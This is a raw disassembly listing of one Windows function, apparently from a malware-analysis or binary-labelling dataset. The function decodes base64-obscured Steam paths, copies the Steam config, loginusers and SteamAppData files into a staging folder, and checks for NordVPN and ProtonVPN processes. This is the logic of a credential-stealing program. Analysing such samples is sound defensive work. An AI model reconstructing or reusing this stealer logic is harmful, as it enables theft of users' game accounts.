Function at 0x4058fe
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Set current directory

Disassembly:
push ebp
lea ebp, [esp - 0x48c]
sub esp, 0x50c
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x488], eax
push ebx
push esi
push edi
push 0x1e84800
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, 0x5ea2bc
mov esi, ebx
call fcn.00404c8d
mov esi, 0x5ea2e8
push esi
push edi
push edi
push 0x8005
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call fcn.00403a70
call fcn.00405440
call fcn.0040484d
call section..text
call fcn.0045d76c
push edi
push 0x80
push 1
push edi
push edi
push 0x40000000
mov ebx, str.procs.txt
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4059c1
push eax
call fcn.004057db
pop ecx
push dword [ebp - 0x7c]
test eax, eax
je 0x4059b4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4059c1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00404b7e
call fcn.0045d683
call fcn.00406ac1
call fcn.004041fe
push 0x2ff
lea eax, [ebp + 0x89]
push edi
push eax
mov byte [ebp + 0x88], 0
call fcn.0055bfc0
mov ebx, 0x100
lea eax, [ebp - 0x78]
push ebx
push eax
mov eax, str.U291cmNlTW9kSW5zdGFsbFBhdGg
call fcn.00403379
mov dword [ebp - 0x7c], eax
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U29mdHdhcmVcVmFsdmVcU3RlYW0
call fcn.00403379
add esp, 0x1c
lea ecx, [ebp - 0x80]
push ecx
push 1
push edi
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405a48
push edi
push edi
push 0x5ea5e8
push dword [ebp - 0x7c]
lea edi, [ebp - 0x80]
call fcn.00403aa5
add esp, 0x10
xor edi, edi
push 0x5ea5e8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x80], eax
cmp eax, edi
je 0x405b99
push edi
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U3RlYW0
call fcn.00403379
pop ecx
pop ecx
push eax
call esi
push edi
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U3RlYW1cXGNvbmZpZw
call fcn.00403379
pop ecx
pop ecx
push eax
call esi
mov eax, dword [ebp - 0x80]
mov byte [eax + 0x5ea5d4], 0
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.Y29uZmlnXFxjb25maWcudmRm
call fcn.00403379
pop ecx
pop ecx
push eax
push 0x5ea5e8
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push edi
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U3RlYW1cXGNvbmZpZ1xcY29uZmlnLnZkZg
call fcn.00403379
pop ecx
pop ecx
push eax
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.XFxsb2dpbnVzZXJzLnZkZg
call fcn.00403379
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp + 0x88]
sub eax, 0xb
add edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0
movsd dword es:[edi], dword [esi]
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U3RlYW1cXGNvbmZpZ1xcbG9naW51c2Vycy52ZGY
movsd dword es:[edi], dword [esi]
call fcn.00403379
pop ecx
pop ecx
push eax
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.XFxTdGVhbUFwcERhdGEudmRm
call fcn.00403379
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp + 0x88]
sub eax, 0xf
add edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0
movsd dword es:[edi], dword [esi]
lea eax, [ebp + 0x388]
push ebx
push eax
mov eax, str.U3RlYW1cXGNvbmZpZ1xcU3RlYW1BcHBEYXRhLnZkZg
movsw word es:[edi], word [esi]
call fcn.00403379
pop ecx
pop ecx
push eax
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.0040566d
call fcn.004050ab
mov esi, str.NordVPN.exe
call fcn.0045daa7
test eax, eax
je 0x405bb6
mov dword [0x5ea9d8], 1
mov esi, str.ProtonVPN.exe
call fcn.0045daa7
pop edi
pop esi
pop ebx
test eax, eax
je 0x405bd1
mov dword [0x5ea9dc], 1
call fcn.0045dcf0
call fcn.0045dc00
call fcn.004010af
call fcn.0045dc00
call fcn.004062f3
call fcn.004055bf
mov ecx, dword [ebp + 0x488]
xor ecx, ebp
xor eax, eax
call fcn.0055a67a
add ebp, 0x48c
leave
ret 0x10